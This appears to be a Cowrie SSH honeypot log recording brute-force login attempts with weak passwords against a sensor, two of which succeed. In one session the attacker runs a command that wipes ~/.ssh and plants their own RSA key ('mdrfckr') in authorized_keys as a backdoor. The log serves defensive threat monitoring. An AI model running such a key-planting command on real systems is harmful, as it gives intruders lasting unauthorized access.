{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:36.898719Z","src_ip":"192.109.200.78","session":"59d0b379967c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:37.148381Z","src_ip":"192.109.200.78","session":"59d0b379967c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:38.239147Z","src_ip":"192.109.200.78","session":"59d0b379967c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39758,"dst_ip":"159.203.135.109","dst_port":22,"session":"827823e5fccf","protocol":"ssh","message":"New connection: 192.109.200.78:39758 (159.203.135.109:22) [session: 827823e5fccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:40.475140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:40.480217Z","src_ip":"192.109.200.78","session":"827823e5fccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:40.563966Z","src_ip":"192.109.200.78","session":"827823e5fccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:40.815152Z","src_ip":"192.109.200.78","session":"827823e5fccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:41.904296Z","src_ip":"192.109.200.78","session":"827823e5fccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39762,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0640fba7aed","protocol":"ssh","message":"New connection: 192.109.200.78:39762 (159.203.135.109:22) [session: e0640fba7aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:44.591861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:44.597166Z","src_ip":"192.109.200.78","session":"e0640fba7aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:44.679359Z","src_ip":"192.109.200.78","session":"e0640fba7aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:44.927301Z","src_ip":"192.109.200.78","session":"e0640fba7aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:46.015330Z","src_ip":"192.109.200.78","session":"e0640fba7aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50456,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bb8bf7d3b56","protocol":"ssh","message":"New connection: 192.109.200.78:50456 (159.203.135.109:22) [session: 1bb8bf7d3b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:48.516991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:48.521641Z","src_ip":"192.109.200.78","session":"1bb8bf7d3b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:48.608604Z","src_ip":"192.109.200.78","session":"1bb8bf7d3b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:48.859583Z","src_ip":"192.109.200.78","session":"1bb8bf7d3b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:50.030979Z","src_ip":"192.109.200.78","session":"1bb8bf7d3b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50464,"dst_ip":"159.203.135.109","dst_port":22,"session":"668b68e83e3d","protocol":"ssh","message":"New connection: 192.109.200.78:50464 (159.203.135.109:22) [session: 668b68e83e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:53.642601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:53.647322Z","src_ip":"192.109.200.78","session":"668b68e83e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:54.030463Z","src_ip":"192.109.200.78","session":"668b68e83e3d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:54.896293Z","src_ip":"192.109.200.78","session":"668b68e83e3d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:55.206544Z","src_ip":"192.109.200.78","session":"668b68e83e3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:55.209973Z","src_ip":"192.109.200.78","session":"668b68e83e3d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:55.332767Z","src_ip":"192.109.200.78","session":"668b68e83e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:55.339460Z","src_ip":"192.109.200.78","session":"668b68e83e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50472,"dst_ip":"159.203.135.109","dst_port":22,"session":"05c25f9982c3","protocol":"ssh","message":"New connection: 192.109.200.78:50472 (159.203.135.109:22) [session: 05c25f9982c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:56.535903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:56.540331Z","src_ip":"192.109.200.78","session":"05c25f9982c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:56.626086Z","src_ip":"192.109.200.78","session":"05c25f9982c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:56.871251Z","src_ip":"192.109.200.78","session":"05c25f9982c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":42298,"dst_ip":"159.203.135.109","dst_port":22,"session":"331e16fe58d4","protocol":"ssh","message":"New connection: 170.79.37.88:42298 (159.203.135.109:22) [session: 331e16fe58d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:57.029094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:57.034318Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:57.137699Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"P@ssw0rd","message":"login attempt [oracle/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:57.569467Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:57.804798Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:57.808067Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:57.811686Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:57.915650Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:58.029814Z","src_ip":"192.109.200.78","session":"05c25f9982c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:58.147084Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:58.150288Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:58.254755Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
